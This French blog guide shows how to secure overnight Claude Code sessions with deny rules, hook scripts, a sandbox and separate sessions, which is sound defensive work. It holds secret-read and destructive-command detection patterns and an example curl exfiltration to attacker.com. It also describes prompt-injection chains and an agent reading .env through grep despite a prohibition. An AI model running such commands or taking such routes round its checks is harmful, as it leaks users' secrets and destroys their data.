Blog

Claude Code la nuit : hooks, permissions et protection du projet

Markdown

7 hooks, un settings.json avec des autorisations et une checklist en 12 points pour laisser Claude Code travailler toute la nuit sans perdre de .env ni de base de données. Protection en 4 couches.

Lire l’article complet

Documentation Ailoot — ressources de référence pour utiliser le service.

Ce qui change en 2026 : Claude Code autonome et incidents réels

À retenir

En 2026, Anthropic a déployé auto-mode, /loop et /schedule : Claude Code peut désormais travailler pendant des heures sans confirmation. Le prix de l’autonomie, ce sont des incidents réels : des bases de données de production supprimées, des fuites de .env et un bug dans permissions.deny qui n’a toujours pas été corrigé. Ce guide présente 4 couches de protection à mettre en place avant le premier lancement nocturne.

Auparavant, Claude Code s’arrêtait après chaque réponse et demandait l’autorisation avant chaque écriture. C’était contraignant, mais sûr : vous ne pouviez littéralement pas dormir pendant un incident, car l’agent attendait votre « oui ». En 2026, ce modèle a volé en éclats. Anthropic a déployé auto-mode : un agent de classification distinct décide à votre place d’autoriser ou non chaque action. La commande /loop a fait son apparition (elle exécute un prompt à intervalles réguliers au sein d’une session), tout comme /schedule (une planification de type cron pour les tâches de longue durée). Les sessions en arrière-plan lancées avec claude --bg exécutent l’agent en arrière-plan, sans terminal. J’ai présenté le mode autonome en détail dans le guide « /goal dans Claude Code : mode autonome et Agent View ».

Le problème, c’est que l’autonomie a été déployée plus vite que les mesures de sécurité.

Il y a quelques semaines, je lui ai demandé de « faire le ménage » et il a fini par supprimer mes bases de données de production et de développement.

— browningstreet

Parallèlement, deux bugs sont ouverts dans le dépôt d’Anthropic et vous devriez les connaître avant d’ajouter permissions.deny à votre settings.json :

  • Issue #44868 (7 avril 2026) : Claude Code lit le contenu de .env avec grep -n et l’intègre à la transcription du chat, malgré une interdiction explicite dans CLAUDE.md. Le bug est ouvert.
  • Issue #24846 (11 février 2026) : les règles permissions.read.deny visant les motifs .env* ne sont pas appliquées : Read lit .env.local malgré un motif deny correct. L’issue a été fermée comme doublon, mais pas corrigée.

Ces failles montrent qu’une seule couche settings.json ne suffit pas. Le modèle suivant combine permissions, hooks, sandbox et séparation des sessions. Chaque couche réduit l’exposition sans garantir la complétude des autres. L’évaluation auto-mode citée ne prouve pas qu’une regex intercepte ses erreurs. Isolez l’OS sans secrets ni écritures de production, imposez le réseau hors du modèle et testez ces limites avant une exécution sans supervision.

Que sont les zones de projet verte et rouge ?

À retenir

Zone verte : un projet local sans vrais clients ni argent en jeu. Zone rouge : tout ce qui comporte une base de données de production, des paiements ou des données personnelles. Dans la zone verte, vous pouvez utiliser auto-mode avec un minimum de hooks. Dans la zone rouge, la protection comporte 4 couches et --dangerously-skip-permissions est interdit par conception.

Il est inutile de mettre en place la même protection pour tous les projets. Un projet perso local sur votre machine, qui n’est pas déployé à l’extérieur, présente un niveau de risque totalement différent de celui d’un service qui traite de vrais paiements et stocke des données clients. Si vous appliquez la même protection partout, vous ralentirez le travail dans la zone verte tout en laissant des failles dans la zone rouge.

Un projet passe du vert au rouge dès qu’au moins l’une de ces trois conditions est remplie : de vrais clients apparaissent, de l’argent circule dans le système ou la base de données contient des données personnelles. D’ici là, vous pouvez utiliser auto-mode, un minimum de hooks et ne pas activer la sandbox. Ensuite, la protection doit être reconstruite selon la configuration complète présentée dans ce guide.

Le principe fondamental : le niveau de protection dépend de la zone. L’étape de développement n’a pas d’importance. Un projet perso sur votre machine avec un compte Stripe de test est dans la zone verte. Un service avec un seul client payant et un formulaire d’inscription est déjà dans la zone rouge, même s’il ressemble encore à un « brouillon ». Confondre ces zones est un piège courant dans les premiers projets : « on est encore en brouillon, on ajoutera la protection plus tard », puis le premier client paie la semaine suivante.

Comment fonctionne la hiérarchie des autorisations dans settings.json ?

À retenir

Dans settings.json, les règles deny priment toujours sur allow, tandis que les portées (user → project → local → managed) sont fusionnées au lieu d’être remplacées. Un deny au niveau utilisateur sur .env, *.pem et ~/.ssh/** vous protège même dans le dépôt de quelqu’un d’autre. La clé disableBypassPermissionsMode bloque aussi le mode YOLO par conception.

Anthropic décrit la hiérarchie d’évaluation des autorisations dans sa documentation officielle : les règles deny sont vérifiées en premier, puis ask, puis allow — la première règle correspondante l’emporte. Cela signifie que deny prime toujours sur allow. Si vous interdisez la lecture de .env dans ~/.claude/settings.json et qu’une personne définit allow dans le .claude/settings.json du projet, votre interdiction s’applique, pas son autorisation.

Exemple de fichier ~/.claude/settings.json minimal et sûr au niveau utilisateur :

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Que se passe-t-il ici ? Les six premières règles bloquent la lecture des fichiers secrets dans le répertoire courant et tous ses sous-répertoires. *.pem et *.key sont des clés SSL/TLS et SSH. credentials*.json est un nom de fichier couramment utilisé par les fournisseurs de services cloud. Les trois dernières règles visent des répertoires système contenant des clés SSH, des identifiants AWS et des clés GPG.

La clé disableBypassPermissionsMode: "disable" bloque l’option --dangerously-skip-permissions (également appelée mode YOLO). Cela élimine définitivement une catégorie d’erreurs : même si vous ajoutez cette option par accident à un script ou un alias, Claude Code refusera de l’accepter. Il ne se contentera pas de la supprimer : il renverra l’erreur « mode disabled by managed settings ».

De plus, à partir de la version 2.1.142, la clé defaultMode: "auto" est ignorée si elle figure dans les paramètres du projet ou les paramètres locaux. Cela protège contre la situation suivante : « J’ai ouvert le dépôt de quelqu’un d’autre et son .claude/settings.json active le mode automatique par défaut. » Anthropic a déclaré explicitement que les dépôts ne peuvent pas activer auto-mode sans le consentement de l’utilisateur.

C’est la première ligne de protection. Vous ne pouvez pas vous arrêter là, car elle comporte deux failles que vous allez découvrir ensuite.

Pourquoi permissions.deny ne suffit pas : 2 issues GitHub ouvertes

À retenir

En avril 2026, un utilisateur a ouvert l’issue #44868 dans le dépôt d’Anthropic : Claude lit .env avec grep -n et en affiche le contenu dans la transcription, malgré l’interdiction de CLAUDE.md. En février, l’issue #24846 signalait que permissions.read.deny pour .env* ne fonctionne pas au niveau de l’outil Read. Les deux sont toujours ouvertes, ce qui signifie qu’un settings.json sans hook supplémentaire est un filet percé.

Si permissions.deny fonctionnait, le guide aurait pu se terminer à la section précédente. Mais ce n’est pas le cas.

Issue #44868 (7 avril 2026) : l’utilisateur a explicitement ajouté à CLAUDE.md une interdiction de lire .env, .dev.vars et d’autres fichiers contenant des secrets. Au lieu d’utiliser Read, Claude a exécuté grep -n SOMETHING .env. La commande grep -n affiche toute la ligne correspondante avec son numéro, y compris le véritable jeton d’API. Cette ligne est intégrée à tool_result, affichée dans la transcription de la session et enregistrée dans l’historique.

Le point subtil que l’auteur souligne : le réflexe de sécurité du modèle se déclenche après la production de la sortie, et non avant l’exécution de la commande. Autrement dit, Claude exécute d’abord grep, récupère une ligne contenant le jeton et l’affiche dans le chat ; ce n’est qu’ensuite qu’il repère son erreur et « s’excuse ». À ce moment-là, le jeton figure déjà dans l’historique du chat. La seule solution est de faire tourner la clé.

Issue #24846 (11 février 2026) : l’utilisateur a configuré permissions.read.deny avec une liste contenant le motif **/.env*. Il a ensuite demandé à Claude de lire .env.local. L’outil Read s’est exécuté sans erreur et a affiché le contenu du fichier.

L’issue a été fermée comme doublon, mais pas corrigée. Au moment de la rédaction de ce guide (juin 2026), elle peut être reproduite.

La couche 1 de settings.json reste utile, mais ces exemples ne mesurent aucune proportion de lectures accidentelles empêchées. Mais elle n’empêche ni les commandes Bash (cat .env, grep API_KEY .env, head .env), ni les bugs d’application des règles (issue #24846), ni les chaînes astucieuses utilisant git diff ou git show sur un commit contenant .env. Voilà pourquoi il faut une deuxième couche : les hooks.

Comment les hooks bloquent-ils des actions dangereuses reconnues ?

À retenir

Dans Claude Code, les hooks sont des scripts shell exécutés lors d’événements précis (PreToolUse, UserPromptSubmit, Stop) et peuvent bloquer une action avec le code de sortie 2 ou un JSON contenant permissionDecision: "deny". Contrairement aux autorisations et à CLAUDE.md, un hook est un middleware : il intercepte un appel avant son exécution, sans intervention du modèle.

Les hooks fonctionnent à un niveau d’abstraction différent de celui des autorisations. Les autorisations sont des règles que le modèle prend en compte pour décider quoi faire. Un hook fonctionne autrement : le modèle décide d’appeler un outil, le hook s’exécute entre le modèle et le système, vérifie l’entrée et autorise ou bloque l’appel. Le modèle ne participe pas à la décision du hook : c’est du code shell que vous écrivez vous-même.

Anthropic décrit le comportement de blocage dans sa documentation officielle des hooks :

Le code de sortie 2 signifie qu’une erreur bloque l’action. Claude Code ignore stdout et tout le JSON qu’il contient. À la place, le texte de stderr est transmis à Claude comme message d’erreur.

— Documentation de Claude Code (Hooks), https://code.claude.com/docs/en/hooks

Cela signifie deux choses. Un hook bloquant correctement configuré peut refuser l’appel correspondant. Pour PreToolUse, le code 2 bloque cet appel, sans prouver la reconnaissance de toutes les commandes dangereuses équivalentes. Ensuite, vous pouvez placer un message explicite dans stderr, que Claude lira comme une erreur et qui l’incitera à essayer une autre approche. Autrement dit, un hook n’est pas seulement une « barrière », mais une « barrière accompagnée d’un panneau expliquant pourquoi vous ne pouvez pas passer ».

Événements pouvant être bloqués avec le code de sortie 2 :

  • PreToolUse — bloque l’appel à l’outil avant son exécution. C’est l’événement principal pour les hooks de protection.
  • PermissionRequest — refuse l’autorisation d’une action pour laquelle Claude a demandé la permission.
  • UserPromptSubmit — bloque et efface le prompt de l’utilisateur. Utile si le prompt contient du texte suspect (par exemple, une injection de prompt dans un courriel piégé).
  • Stop — empêche Claude de terminer la session. Peut servir de « boucle » pour maintenir l’agent au travail jusqu’à ce qu’une condition soit remplie.
  • PreCompact — bloque la compaction automatique du contexte. Utile si vous voulez préserver la transcription jusqu’à une décision manuelle.
  • WorktreeCreate — rejette la création d’un worktree. Protège contre une tentative de Claude de cloner un dépôt à un endroit inattendu.

Une autre possibilité que le code de sortie 2 est de renvoyer un JSON avec un champ hookSpecificOutput.permissionDecision. permissionDecision peut prendre quatre valeurs :

  • allow — autorise explicitement l’action et contourne le processus standard d’autorisation.
  • deny — bloque l’action ; équivaut au code de sortie 2 pour PreToolUse.
  • ask — transmet la décision à l’utilisateur (une boîte de dialogue apparaît).
  • defer — laisse la décision au mécanisme normal d’autorisations.

Cela donne davantage de contrôle au hook qu’un simple code de sortie. Avec permissionDecision: "ask", vous pouvez transformer des opérations silencieuses en opérations nécessitant une confirmation, sans les bloquer complètement. C’est ce que je fais pour npm install <new package> et les modifications de fichiers lockfile.

Si vous voulez en savoir plus sur le fonctionnement des hooks et sur les 31 événements actuellement disponibles dans Claude Code, j’en parle dans un autre guide : « Hooks dans Claude Code : 7 règles prêtes à copier ». Je vais maintenant présenter des hooks spécifiques au travail autonome.

Quels 7 hooks utiliser pour travailler la nuit ?

À retenir

Ces PreToolUse illustrent sept scénarios : lectures de secrets sélectionnées, git push littéral reconnu, motifs SQL et rm -rf, revue de paquets et manifestes, journaux des outils correspondants. Testez localement cas reconnus et manqués avant activation. Ces regex incomplètes ne constituent pas une barrière de sécurité de production.

C’est la deuxième couche de protection, qui renforce la première. Tous les hooks se trouvent dans .claude/hooks/, sont enregistrés dans .claude/settings.json et nécessitent l’installation de jq.

Hook 1 : protéger .env, .pem et credentials.json contre la lecture

Ajoute des contrôles pour certains chemins Read et lectures Bash courantes de secrets, sans couvrir tous les outils ni toutes les méthodes. Fichier : .claude/hooks/block-secret-reads.sh :

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Enregistrement dans .claude/settings.json :

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Après l’installation, exécutez chmod +x .claude/hooks/block-secret-reads.sh. Test : demandez à Claude de lire .env.local — vous obtiendrez la réponse « Fichier secret. Utilisez des références op:// ou des variables d’environnement. » au lieu du contenu du fichier.

Hook 2 : bloquer les appels git push littéraux pendant la nuit

Pour une session sans supervision, cet exemple bloque prudemment tous les git push littéraux reconnus, même vers les branches de fonctionnalité. Il ne déduit pas la branche courante ni la sécurité d’une option force. Fichier : .claude/hooks/block-force-push.sh :

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Enregistrez-le via PreToolUse avec le matcher Bash. Le contrôle vise la commande reconnue plutôt que les options : il intercepte git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main et le push littéral dans une chaîne && ou ;. Ce sont des exemples de correspondance hors ligne, pas des commandes à envoyer au distant.

Cela reste heuristique : alias Git, fonctions shell, git -C ... push, noms construits, scripts et autres outils peuvent l’éviter. Appliquez les protections sur le serveur Git, retirez les identifiants qui les contournent et isolez le travail autonome de toute écriture de production. Un motif manqué ne doit pas donner d’autorité de production.

Hook 3 : bloquer les opérations SQL destructrices

Répond directement aux incidents de suppression de bases de données. Fichier : .claude/hooks/block-destructive-sql.sh :

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Enregistrez-le avec PreToolUse et matcher: "Bash". Notez la différence : DROP et DELETE sans WHERE sont complètement bloqués, tandis que UPDATE sans WHERE déclenche ask — cela peut parfois être légitime (par exemple, définir un indicateur sur tous les enregistrements lors d’une migration), mais nécessite toujours une confirmation manuelle.

Hook 4 : filtrer rm -rf

Exemple canonique tiré de la documentation d’Anthropic, adapté pour refuser l’action en précisant la raison :

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Le hook autorise rm -rf node_modules, rm -rf .next/cache et les autres suppressions dont la cible est explicitement indiquée. Il bloque rm -rf ., rm -rf /, rm -rf ~ et les commandes similaires qui effacent « tout ».

Hook 5 : confirmer l’installation de nouveaux paquets

Ce hook limite les attaques contre la chaîne d’approvisionnement logicielle. Si Claude décide de lui-même d’ajouter une nouvelle dépendance, une boîte de dialogue apparaît :

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Le hook laisse les installations à partir d’un lockfile se faire librement, tandis que l’ajout d’une nouvelle dépendance exige une confirmation.

Hook 6 : protéger package.json et le lockfile

Toute modification d’un manifeste de dépendances doit inciter quelqu’un à l’inspecter. Surtout pendant la nuit.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Enregistrez-le avec PreToolUse et le matcher Write|Edit.

Hook 7 : journal d’audit de bout en bout de tous les appels Bash

Si quelque chose tourne mal pendant la nuit, vous aurez besoin d’un journal complet pour comprendre la séquence des événements. Enregistrez le hook dans settings.json (il n’a pas de script séparé ; jq fait tout le travail) :

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Le fichier .claude/audit.jsonl s’allonge d’une ligne à la fois. Le matin, après un /loop nocturne, vous pouvez exécuter tail -n 100 .claude/audit.jsonl | jq et voir ce que l’agent a fait à chaque étape. C’est essentiel pour l’analyse post-incident, car la transcription de la session peut être longue et difficile à lire, tandis que le journal d’audit fournit une chronologie claire.

Comment la sandbox et l’isolation par worktree protègent-elles les sessions longues ?

À retenir

La sandbox de Claude Code isole le système de fichiers et le réseau. Anthropic rapporte une réduction de 84 % des demandes d’autorisation, avec un niveau de sécurité égal. L’isolation réseau bloque l’exfiltration de .env vers un serveur distant, même si l’agent l’a déjà lu. Pour les longues sessions en arrière-plan, sandbox + worktree sont indispensables.

Si les hooks sont une « barrière avec un panneau », la sandbox est une « barrière + douve + filet anti-drones ». C’est la quatrième couche de protection : elle couvre les situations où les hooks laissent passer une action, alors même que son exécution ne devrait pas causer de dégâts hors de l’environnement.

Dans son article de blog sur le sandboxing (20 octobre 2025), Anthropic présente des mesures internes :

D’après nos données internes, le sandboxing réduit les demandes d’autorisation de 84 % en toute sécurité.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-sandboxing

Cela signifie que lorsque vous activez /sandbox, Claude ne demande plus l’autorisation pour 84 % des actions, car celles-ci ne peuvent physiquement pas sortir de la sandbox. C’est utile pour aller plus vite, mais ce n’est pas son principal avantage.

La sandbox fournit deux niveaux d’isolation, chacun ayant son propre rôle :

L’isolation du système de fichiers limite la lecture et l’écriture aux répertoires explicitement autorisés. Même si un hook laisse passer une tentative d’écriture dans /etc/hosts ou de lecture de ~/.ssh/id_rsa, la sandbox bloquera l’appel système. C’est une protection au niveau du système d’exploitation. La couche applicative ne peut pas la contourner.

L’isolation réseau autorise les connexions uniquement aux serveurs approuvés. C’est essentiel pour prévenir les attaques par exfiltration. Scénario : une injection de prompt dans un fichier piégé incite Claude à lire .env (le hook l’a manquée parce que la lecture a suivi une voie inhabituelle), puis le modèle décide d’exécuter curl -X POST attacker.com -d "$ENV_CONTENT". Sans isolation réseau, cela fonctionne. Avec l’isolation réseau, curl ne peut pas joindre attacker.com, car cet hôte ne figure pas dans la liste.

Lancez-la avec la commande /sandbox dans Claude Code. Configurez-la dans ~/.claude/settings.json :

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

Pour les longues sessions en arrière-plan lancées avec claude --bg, ajoutez l’isolation par worktree à la sandbox. C’est un mécanisme natif de Claude Code : chaque session en arrière-plan est automatiquement déplacée dans son propre .claude/worktrees/<name>/, sur une branche distincte. Ainsi, les sessions parallèles ne se gênent pas lorsqu’elles écrivent dans les mêmes fichiers. J’ai décrit en détail l’isolation par worktree dans le guide « Agent View et Worktrees : le mode autonome de Claude Code ».

Donnez à Claude un moyen de vérifier son travail.

La sandbox fait partie de la boucle de rétroaction. Quand Claude sait que ses actions sont limitées, il travaille plus soigneusement et décrit plus clairement ses étapes intermédiaires.

Où auto-mode fonctionne-t-il en 2026, et où ne fonctionne-t-il pas ?

À retenir

Auto-mode dans Claude Code est un classificateur basé sur Sonnet 4.6 qui remplace les autorisations manuelles par des décisions automatisées fondées sur les règles d’Anthropic. Selon Anthropic elle-même, son taux de faux négatifs pour les actions dangereuses est de 17 %, et la session s’arrête après 3 rejets consécutifs du classificateur ou 20 au total. Dans la zone verte, c’est un remplacement raisonnable de l’approbation manuelle. Dans la zone rouge, les hooks restent nécessaires.

En mars 2026, Anthropic a lancé auto-mode comme « un compromis entre la vérification manuelle et l’absence de garde-fous ». Un modèle distinct, Sonnet 4.6, évalue chaque action de Claude en fonction d’un ensemble de critères avant son exécution. Anthropic a décrit le fonctionnement sur le blog Anthropic Engineering :

Auto-mode est un nouveau mode de Claude Code qui délègue les autorisations à des classificateurs basés sur des modèles. C’est un compromis entre la vérification manuelle et l’absence de garde-fous.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Auto-mode a deux limites importantes :

  • Si une session accumule 3 rejets consécutifs ou 20 rejets du classificateur au total, le modèle s’arrête et transmet le cas à un humain. Cela protège contre une situation où « Claude tourne en boucle et essaie de contourner une restriction avec 100 formulations différentes de la même commande ».
  • Auto-mode autorise une action si elle ressemble à 93 % des cas typiques que les utilisateurs approuvent de toute façon. Cela réduit la lassitude liée aux demandes d’autorisation, mais ne protège pas contre les actions dangereuses atypiques.

Et voici le chiffre principal à retenir :

Un taux de faux négatifs de 17 % pour les actions réellement trop audacieuses : voilà le chiffre honnête.

— Anthropic Engineering, https://www.anthropic.com/engineering/claude-code-auto-mode

Les 17 % publiés sont un taux de faux négatifs de cette évaluation, pas la probabilité de chaque action de votre projet. Rien ne prouve que les hooks exemples couvrent ces échecs. Dans la zone rouge, l’autonomie exige une isolation imposée des écritures et secrets de production, des branches protégées côté serveur et des identifiants sans contournement.

Utilisez les hooks comme contrôles supplémentaires dans un environnement jetable et restaurable. Même localement, fichiers non suivis et secrets peuvent être irrécupérables par Git. Dans la zone rouge, de vrais droits doivent contenir les motifs manqués ; des regex ne rendent pas un shell arbitraire déterministement sûr.

Pourquoi séparer les contextes en trois types de session ?

À retenir

La chaîne la plus dangereuse est composée de trois commandes ordinaires exécutées à la suite, et non d’une seule mauvaise commande. L’agent lit .env (légitime), traite un courriel reçu (légitime), puis envoie une requête HTTP vers l’extérieur (légitime). Chaque action est sûre prise isolément ; ensemble, elles constituent une exfiltration. La protection consiste à répartir les trois types de tâches dans des sessions distinctes avec des autorisations différentes.

Trois types de tâches ne devraient jamais cohabiter dans une même session :

Type 1 : travailler avec des données personnelles. La session a accès à la base de données de production, peut envoyer des courriels et consulter des identifiants. Elle n’a PAS accès aux documents externes (courriels, PDF, pages Web) et ne PEUT PAS envoyer de données à des adresses arbitraires.

Type 2 : traiter des documents externes. La session peut analyser les courriels reçus, télécharger des pages Web et lire des PDF provenant de courriels. Elle n’a PAS accès à une base de données contenant des données personnelles et ne PEUT RIEN envoyer à l’extérieur sans confirmation explicite.

Type 3 : publier à l’extérieur. La session peut publier sur les réseaux sociaux, envoyer des campagnes par courriel et créer des pull requests. Elle n’a PAS accès aux données personnelles et ne traite PAS les contenus entrants.

Pourquoi les séparer ? Si une session fait tout, une seule injection de prompt dans un PDF piégé (une agence concurrente a envoyé une « facture ») suffit pour que l’agent lise en une fois votre base clients, trouve leurs adresses e-mail et les envoie à une adresse contrôlée par un attaquant. Chaque action de cette chaîne est légitime pour son type de tâche. Ensemble, elles forment une fuite.

Le schéma d’exfiltration le plus inquiétant n’est pas une seule mauvaise commande. C’est une chaîne de commandes tout à fait normales. L’agent lit .env (autorisé), l’envoie par HTTP (autorisé), et voilà.

— ibrahim_h, HackerNews

En pratique, on met cela en œuvre avec différents répertoires .claude pour chaque type de tâche. J’ai trois configurations sur ma machine : ~/projects/business-ops/.claude/ (type 1, accès à la base de données, réseau interdit sauf pour les API internes), ~/projects/inbox-parsing/.claude/ (type 2, tout accès réseau interdit), ~/projects/social-posting/.claude/ (type 3, réseau autorisé pour les API de messagerie et Slack). Pour Claude Code, chaque répertoire est un projet distinct avec ses propres autorisations et hooks.

Quels sont les 12 points de la checklist à vérifier avant /loop ?

À retenir

Une checklist en 12 points que je passe en revue avant de lancer /loop, /schedule ou claude --bg pendant la nuit. Elle va de ~/.claude/settings.json avec un deny de base à /sandbox avec isolation réseau. Si un seul point n’est pas couvert, je ne lance pas.

  1. ~/.claude/settings.json avec un deny au niveau utilisateur pour .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. C’est la base ; le reste ne sert à rien sans cela.

  2. disableBypassPermissionsMode: "disable" dans ~/.claude/settings.json. Bloque définitivement l’option YOLO.

  3. Les exemples block-secret-reads.sh ont été testés sur les lectures choisies ; vrais secrets et identifiants de production sont inaccessibles à l’environnement autonome.

  4. block-force-push.sh bloque les pushes littéraux reconnus quels que soient ordre des options et destination ; le serveur Git impose branches protégées et identifiants sans contournement.

  5. Le hook block-destructive-sql.sh pour DROP TABLE, TRUNCATE et DELETE FROM sans WHERE.

  6. Le hook block-rm-rf.sh pour rm -rf sans cible explicitement définie.

  7. Le hook ask-on-new-deps.sh pour npm install <new package> (distinct de npm install sans argument).

  8. Le hook ask-on-lockfile-change.sh pour les écritures dans package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml et Cargo.toml.

  9. Un journal audit.jsonl fourre-tout pour tous les appels Bash, Write et Edit. Sans lui, une analyse post-incident est impossible.

  10. Toutes les longues sessions en arrière-plan s’exécutent dans un worktree, et non sur la branche principale : claude --bg "task" crée automatiquement un worktree, mais vérifiez que settings.json ne contient pas worktree.bgIsolation: "none".

  11. /sandbox avant de lancer une longue tâche autonome. L’accès au système de fichiers est limité au répertoire du projet et à /tmp. Le réseau utilise une liste d’autorisation comprenant api.anthropic.com, github.com et registry.npmjs.org.

  12. Une étape de vérification intégrée à la tâche : après chaque changement majeur, exécutez le runner de tests ou le linter. En cas d’échec, l’agent ne continue pas tant que le problème n’est pas corrigé.

Le dernier point relève d’une méthode de travail, et non d’un paramètre d’outil. Donnez à Claude un moyen de vérifier son travail. Sans vérification, un agent passe la nuit à répéter « Je pense que c’est bon, je continue », en accumulant les erreurs jusqu’au matin. Avec la vérification, il ne poursuit pas tant que le contrôle n’a pas réussi.

7 anti-patterns : ce qu’il ne faut PAS faire

À retenir

Sept erreurs courantes tirées des projets décrits ici : exécuter --dangerously-skip-permissions sur une machine ayant accès à la production, s’appuyer uniquement sur CLAUDE.md, faire confiance à permissions.deny sans ajouter un hook, et utiliser auto-mode sans règles de sauvegarde. Chaque erreur est liée à des incidents réels décrits dans les sources.

1. Utiliser --dangerously-skip-permissions sur une machine hôte ayant accès à la production. Browningstreet a perdu ses bases de données de production et de développement avec une seule commande de « nettoyage ». Une erreur coûte des heures de récupération, sans compter les données absentes de la sauvegarde. Si un incident s’est déjà produit, consultez « Que faire si l’IA a supprimé une base de données : checklist de récupération » et suivez les 10 étapes dans l’ordre.

2. S’appuyer uniquement sur CLAUDE.md pour la sécurité. L’issue #44868 a prouvé que le modèle agit d’abord et s’excuse ensuite. Une consigne consultative dans un fichier texte ne bloque pas un appel d’outil. Un hook configuré peut bloquer les appels correspondants ; OS, sandbox et permissions des services imposent des limites plus larges. CLAUDE.md compte pour le contexte du projet — j’en ai parlé séparément dans « Comment configurer correctement CLAUDE.md » — mais il ne protège pas contre un agent autonome.

3. S’appuyer uniquement sur permissions.deny dans settings.json, sans y ajouter un hook. L’issue #24846 est ouverte depuis février 2026. Le deny pour .env* peut être contourné par grep dans Bash. Un hook ajoute des contrôles, mais les secrets doivent aussi rester hors de l’environnement autonome ; une regex ne remplace pas tous les contrôles d’accès.

